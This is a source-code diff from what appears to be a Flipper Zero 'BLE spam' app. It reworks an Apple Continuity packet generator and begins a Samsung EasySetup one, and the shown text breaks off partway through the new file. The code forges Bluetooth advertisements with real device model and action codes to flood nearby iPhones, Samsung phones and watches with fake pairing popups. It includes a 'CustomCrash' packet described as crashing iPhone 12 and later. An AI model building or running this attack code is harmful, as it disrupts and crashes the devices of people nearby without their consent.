+    {0x06, "Pair AppleTV"},
+    {0x0D, "HomeKit AppleTV Setup"},
+    {0x2B, "AppleID for AppleTV?"},
+};
+const uint8_t na_actions_count = COUNT_OF(na_actions);
+
+static const char* type_names[ContinuityTypeCOUNT] = {
     [ContinuityTypeAirDrop] = "AirDrop",
-    [ContinuityTypeProximityPair] = "Proximity Pair",
+    [ContinuityTypeProximityPair] = "Continuity Pair",
     [ContinuityTypeAirplayTarget] = "Airplay Target",
     [ContinuityTypeHandoff] = "Handoff",
     [ContinuityTypeTetheringSource] = "Tethering Source",
-    [ContinuityTypeNearbyAction] = "Nearby Action",
+    [ContinuityTypeNearbyAction] = "Continuity Action",
     [ContinuityTypeNearbyInfo] = "Nearby Info",
-    [ContinuityTypeCustomCrash] = "Custom Packet",
+    [ContinuityTypeCustomCrash] = "Continuity Custom",
 };
-const char* continuity_get_name(const BleSpamMsg* _msg) {
-    const ContinuityMsg* msg = &_msg->continuity;
-    return type_names[msg->type];
+static const char* continuity_get_name(const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = &_cfg->continuity;
+    return type_names[cfg->type];
 }
 
 #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
-static uint8_t packet_sizes[ContinuityTypeCount] = {
+static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
     [ContinuityTypeAirDrop] = HEADER_LEN + 18,
     [ContinuityTypeProximityPair] = HEADER_LEN + 25,
     [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
@@ -32,13 +87,12 @@ static uint8_t packet_sizes[ContinuityTypeCount] = {
     [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
     [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
 };
-
-void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
+static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
 
     ContinuityType type;
-    if(msg) {
-        type = msg->type;
+    if(cfg) {
+        type = cfg->type;
     } else {
         const ContinuityType types[] = {
             ContinuityTypeProximityPair,
@@ -85,36 +139,15 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
 
     case ContinuityTypeProximityPair: {
         uint16_t model;
-        if(msg && msg->data.proximity_pair.model != 0x0000) {
-            model = msg->data.proximity_pair.model;
+        if(cfg && cfg->data.proximity_pair.model != 0x0000) {
+            model = cfg->data.proximity_pair.model;
         } else {
-            const uint16_t models[] = {
-                0x0E20, // AirPods Pro
-                0x0620, // Beats Solo 3
-                0x0A20, // AirPods Max
-                0x1020, // Beats Flex
-                0x0055, // Airtag
-                0x0030, // Hermes Airtag
-                0x0220, // AirPods
-                0x0F20, // AirPods 2nd Gen
-                0x1320, // AirPods 3rd Gen
-                0x1420, // AirPods Pro 2nd Gen
-                0x0320, // Powerbeats 3
-                0x0B20, // Powerbeats Pro
-                0x0C20, // Beats Solo Pro
-                0x1120, // Beats Studio Buds
-                0x0520, // Beats X
-                0x0920, // Beats Studio 3
-                0x1720, // Beats Studio Pro
-                0x1220, // Beats Fit Pro
-                0x1620, // Beats Studio Buds+
-            };
-            model = models[rand() % COUNT_OF(models)];
+            model = pp_models[rand() % pp_models_count].value;
         }
 
         uint8_t prefix;
-        if(msg && msg->data.proximity_pair.prefix == 0x00) {
-            prefix = msg->data.proximity_pair.prefix;
+        if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
+            prefix = cfg->data.proximity_pair.prefix;
         } else {
             if(model == 0x0055 || model == 0x0030)
                 prefix = 0x05;
@@ -176,37 +209,23 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
 
     case ContinuityTypeNearbyAction: {
         uint8_t action;
-        if(msg && msg->data.nearby_action.type != 0x00) {
-            action = msg->data.nearby_action.type;
+        if(cfg && cfg->data.nearby_action.action != 0x00) {
+            action = cfg->data.nearby_action.action;
         } else {
-            const uint8_t actions[] = {
-                0x13, // AppleTV AutoFill
-                0x27, // AppleTV Connecting...
-                0x20, // Join This AppleTV?
-                0x19, // AppleTV Audio Sync
-                0x1E, // AppleTV Color Balance
-                0x09, // Setup New iPhone
-                0x02, // Transfer Phone Number
-                0x0B, // HomePod Setup
-                0x01, // Setup New AppleTV
-                0x06, // Pair AppleTV
-                0x0D, // HomeKit AppleTV Setup
-                0x2B, // AppleID for AppleTV?
-            };
-            action = actions[rand() % COUNT_OF(actions)];
+            action = na_actions[rand() % na_actions_count].value;
         }
 
-        uint8_t flag;
-        if(msg && msg->data.nearby_action.flags != 0x00) {
-            flag = msg->data.nearby_action.flags;
+        uint8_t flags;
+        if(cfg && cfg->data.nearby_action.flags != 0x00) {
+            flags = cfg->data.nearby_action.flags;
         } else {
-            flag = 0xC0;
-            if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
-            if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
+            flags = 0xC0;
+            if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
+            if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
         }
 
-        packet[i++] = flag; // Action Flags
-        packet[i++] = action; // Action Type
+        packet[i++] = flags;
+        packet[i++] = action;
         furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
         i += 3;
         break;
@@ -224,31 +243,16 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
     case ContinuityTypeCustomCrash: {
         // Found by @ECTO-1A
 
-        const uint8_t actions[] = {
-            0x13, // AppleTV AutoFill
-            0x27, // AppleTV Connecting...
-            0x20, // Join This AppleTV?
-            0x19, // AppleTV Audio Sync
-            0x1E, // AppleTV Color Balance
-            0x09, // Setup New iPhone
-            0x02, // Transfer Phone Number
-            0x0B, // HomePod Setup
-            0x01, // Setup New AppleTV
-            0x06, // Pair AppleTV
-            0x0D, // HomeKit AppleTV Setup
-            0x2B, // AppleID for AppleTV?
-        };
-        uint8_t action = actions[rand() % COUNT_OF(actions)];
-
-        uint8_t flag = 0xC0;
-        if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
-        if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
+        uint8_t action = na_actions[rand() % na_actions_count].value;
+        uint8_t flags = 0xC0;
+        if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
+        if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
 
         i -= 2; // Override segment header
         packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
         packet[i++] = 0x05; // Continuity Size
-        packet[i++] = flag; // Action Flags
-        packet[i++] = action; // Action Type
+        packet[i++] = flags;
+        packet[i++] = action;
         furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
         i += 3;
 
@@ -265,12 +269,538 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
         break;
     }
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
 }
 
-const BleSpamProtocol ble_spam_protocol_continuity = {
+enum {
+    _ConfigPpExtraStart = ConfigExtraStart,
+    ConfigPpModel,
+    ConfigPpPrefix,
+    ConfigPpCOUNT,
+};
+enum {
+    _ConfigNaExtraStart = ConfigExtraStart,
+    ConfigNaAction,
+    ConfigNaFlags,
+    ConfigNaCOUNT,
+};
+enum {
+    _ConfigCcExtraStart = ConfigExtraStart,
+    ConfigCcInfoLock,
+    ConfigCcInfoDevice,
+    ConfigCcCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(cfg->type) {
+    case ContinuityTypeProximityPair: {
+        switch(index) {
+        case ConfigPpModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
+            break;
+        case ConfigPpPrefix:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case ContinuityTypeNearbyAction: {
+        switch(index) {
+        case ConfigNaAction:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
+            break;
+        case ConfigNaFlags:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case ContinuityTypeCustomCrash: {
+        switch(index) {
+        case ConfigCcInfoLock:
+        case ConfigCcInfoDevice:
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void pp_model_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.proximity_pair.model = pp_models[index].value;
+        variable_item_set_current_value_text(item, pp_models[index].name);
+    } else {
+        cfg->data.proximity_pair.model = 0x0000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void pp_prefix_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
+        variable_item_set_current_value_text(item, pp_prefixes[index].name);
+    } else {
+        cfg->data.proximity_pair.prefix = 0x00;
+        variable_item_set_current_value_text(item, "Auto");
+    }
+}
+static void na_action_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.nearby_action.action = na_actions[index].value;
+        variable_item_set_current_value_text(item, na_actions[index].name);
+    } else {
+        cfg->data.nearby_action.action = 0x00;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void continuity_extra_config(Ctx* ctx) {
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    switch(cfg->type) {
+    case ContinuityTypeProximityPair: {
+        item =
+            variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[5];
+        if(cfg->data.proximity_pair.model == 0x0000) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < pp_models_count; i++) {
+                if(cfg->data.proximity_pair.model == pp_models[i].value) {
+                    model_name = pp_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(
+                    model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
+                model_name = model_name_buf;
+                value_index = pp_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+
+        item =
+            variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
+        const char* prefix_name = NULL;
+        char prefix_name_buf[3];
+        if(cfg->data.proximity_pair.prefix == 0x00) {
+            prefix_name = "Auto";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < pp_prefixes_count; i++) {
+                if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
+                    prefix_name = pp_prefixes[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!prefix_name) {
+                snprintf(
+                    prefix_name_buf,
+                    sizeof(prefix_name_buf),
+                    "%02X",
+                    cfg->data.proximity_pair.prefix);
+                prefix_name = prefix_name_buf;
+                value_index = pp_prefixes_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, prefix_name);
+        break;
+    }
+    case ContinuityTypeNearbyAction: {
+        item = variable_item_list_add(
+            list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
+        const char* action_name = NULL;
+        char action_name_buf[3];
+        if(cfg->data.nearby_action.action == 0x00) {
+            action_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < na_actions_count; i++) {
+                if(cfg->data.nearby_action.action == na_actions[i].value) {
+                    action_name = na_actions[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!action_name) {
+                snprintf(
+                    action_name_buf,
+                    sizeof(action_name_buf),
+                    "%02X",
+                    cfg->data.nearby_action.action);
+                action_name = action_name_buf;
+                value_index = na_actions_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, action_name);
+
+        item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
+        const char* flags_name = NULL;
+        char flags_name_buf[3];
+        if(cfg->data.nearby_action.flags == 0x00) {
+            flags_name = "Auto";
+        } else {
+            snprintf(
+                flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
+            flags_name = flags_name_buf;
+        }
+        variable_item_set_current_value_text(item, flags_name);
+        break;
+    }
+    case ContinuityTypeCustomCrash: {
+        variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
+        variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
+        break;
+    }
+    default:
+        break;
+    }
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t config_counts[ContinuityTypeCOUNT] = {
+    [ContinuityTypeAirDrop] = 0,
+    [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
+    [ContinuityTypeAirplayTarget] = 0,
+    [ContinuityTypeHandoff] = 0,
+    [ContinuityTypeTetheringSource] = 0,
+    [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
+    [ContinuityTypeNearbyInfo] = 0,
+    [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
+};
+static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = &_cfg->continuity;
+    return config_counts[cfg->type];
+}
+
+const Protocol protocol_continuity = {
     .icon = &I_apple,
     .get_name = continuity_get_name,
     .make_packet = continuity_make_packet,
+    .extra_config = continuity_extra_config,
+    .config_count = continuity_config_count,
 };
+
+static void pp_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.proximity_pair.model = 0x0000;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case pp_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
+        break;
+    default:
+        cfg->data.proximity_pair.model = pp_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_pp_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
+    if(cfg->data.proximity_pair.model == 0x0000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < pp_models_count; i++) {
+        submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
+        if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = pp_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void pp_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
+    ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
+}
+
+static void pp_prefix_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.proximity_pair.prefix = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case pp_prefixes_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
+        break;
+    default:
+        cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_pp_prefix_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
+    if(cfg->data.proximity_pair.prefix == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < pp_prefixes_count; i++) {
+        submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
+        if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = pp_prefixes_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_prefix_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void pp_prefix_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Prefix");
+
+    ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
+}
+
+static void na_action_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.nearby_action.action = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case na_actions_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
+        break;
+    default:
+        cfg->data.nearby_action.action = na_actions[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_na_action_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
+    if(cfg->data.nearby_action.action == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < na_actions_count; i++) {
+        submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
+        if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = na_actions_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_na_action_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void na_action_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_na_action_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Action Type");
+
+    ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_na_action_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
+}
+
+static void na_flags_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_na_flags_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Press back for automatic");
+
+    ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
+    Ctx* ctx = _ctx;
+    if(event.type == SceneManagerEventTypeBack) {
+        ctx->byte_store[0] = 0x00;
+    }
+    return false;
+}
+void scene_continuity_na_flags_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
+}

+ 5 - 5
ble_spam/protocols/continuity.h

@@ -16,21 +16,21 @@ typedef enum {
     ContinuityTypeNearbyInfo = 0x10,
 
     ContinuityTypeCustomCrash,
-    ContinuityTypeCount
+    ContinuityTypeCOUNT
 } ContinuityType;
 
 typedef struct {
     ContinuityType type;
     union {
         struct {
-            uint8_t prefix;
             uint16_t model;
+            uint8_t prefix;
         } proximity_pair;
         struct {
+            uint8_t action;
             uint8_t flags;
-            uint8_t type;
         } nearby_action;
     } data;
-} ContinuityMsg;
+} ContinuityCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_continuity;
+extern const Protocol protocol_continuity;

+ 7 - 0
ble_spam/protocols/continuity_scenes.h

@@ -0,0 +1,7 @@
+ADD_SCENE(continuity_pp_model, ContinuityPpModel)
+ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom)
+ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix)
+ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom)
+ADD_SCENE(continuity_na_action, ContinuityNaAction)
+ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom)
+ADD_SCENE(continuity_na_flags, ContinuityNaFlags)

+ 498 - 0
ble_spam/protocols/easysetup.c

@@ -0,0 +1,498 @@
+#include "easysetup.h"
+#include "_protocols.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Research by @Spooks4576
+
+const struct {
+    uint32_t value;
+    const char* name;
+} buds_models[] = {
+    {0xEE7A0C, "Fallback Buds"},
+    {0x9D1700, "Fallback Dots"},
+    {0x39EA48, "Light Purple Buds2"},
+    {0xA7C62C, "Bluish Silver Buds2"},
+    {0x850116, "Black Buds Live"},
+    {0x3D8F41, "Gray & Black Buds2"},
+    {0x3B6D02, "Bluish Chrome Buds2"},
+    {0xAE063C, "Gray Beige Buds2"},
+    {0xB8B905, "Pure White Buds"},
+    {0xEAAA17, "Pure White Buds2"},
+    {0xD30704, "Black Buds"},
+    {0x9DB006, "French Flag Buds"},
+    {0x101F1A, "Dark Purple Buds Live"},
+    {0x859608, "Dark Blue Buds"},
+    {0x8E4503, "Pink Buds"},
+    {0x2C6740, "White & Black Buds2"},
+    {0x3F6718, "Bronze Buds Live"},
+    {0x42C519, "Red Buds Live"},
+    {0xAE073A, "Black & White Buds2"},
+    {0x011716, "Sleek Black Buds2"},
+};
+const uint8_t buds_models_count = COUNT_OF(buds_models);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} watch_models[] = {
+    {0x1A, "Fallback Watch"},
+    {0x01, "White Watch4 Classic 44"},
+    {0x02, "Black Watch4 Classic 40"},
+    {0x03, "White Watch4 Classic 40"},
+    {0x04, "Black Watch4 44mm"},
+    {0x05, "Silver Watch4 44mm"},
+    {0x06, "Green Watch4 44mm"},
+    {0x07, "Black Watch4 40mm"},
+    {0x08, "White Watch4 40mm"},
+    {0x09, "Gold Watch4 40mm"},
+    {0x0A, "French Watch4"},
+    {0x0B, "French Watch4 Classic"},
+    {0x0C, "Fox Watch5 44mm"},
+    {0x11, "Black Watch5 44mm"},
+    {0x12, "Sapphire Watch5 44mm"},
+    {0x13, "Purpleish Watch5 40mm"},
+    {0x14, "Gold Watch5 40mm"},
+    {0x15, "Black Watch5 Pro 45mm"},
+    {0x16, "Gray Watch5 Pro 45mm"},
+    {0x17, "White Watch5 44mm"},
+    {0x18, "White & Black Watch5"},
+    {0x1B, "Black Watch6 Pink 40mm"},
+    {0x1C, "Gold Watch6 Gold 40mm"},
+    {0x1D, "Silver Watch6 Cyan 44mm"},
+    {0x1E, "Black Watch6 Classic 43mm"},
+    {0x20, "Green Watch6 Classic 43mm"},
+};
+const uint8_t watch_models_count = COUNT_OF(watch_models);
+
+static const char* type_names[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = "EasySetup Buds",
+    [EasysetupTypeWatch] = "EasySetup Watch",
+};
+static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = &_cfg->easysetup;
+    return type_names[cfg->type];
+}
+
+static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = 31,
+    [EasysetupTypeWatch] = 15,
+};
+void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
+
+    EasysetupType type;
+    if(cfg) {
+        type = cfg->type;
+    } else {
+        type = rand() % EasysetupTypeCOUNT;
+    }
+
+    uint8_t size = packet_sizes[type];
+    uint8_t* packet = malloc(size);
+    uint8_t i = 0;
+
+    switch(type) {
+    case EasysetupTypeBuds: {
+        uint32_t model;
+        if(cfg && cfg->data.buds.model != 0x000000) {
+            model = cfg->data.buds.model;
+        } else {
+            model = buds_models[rand() % buds_models_count].value;
+        }
+
+        packet[i++] = 27; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x42;
+        packet[i++] = 0x09;
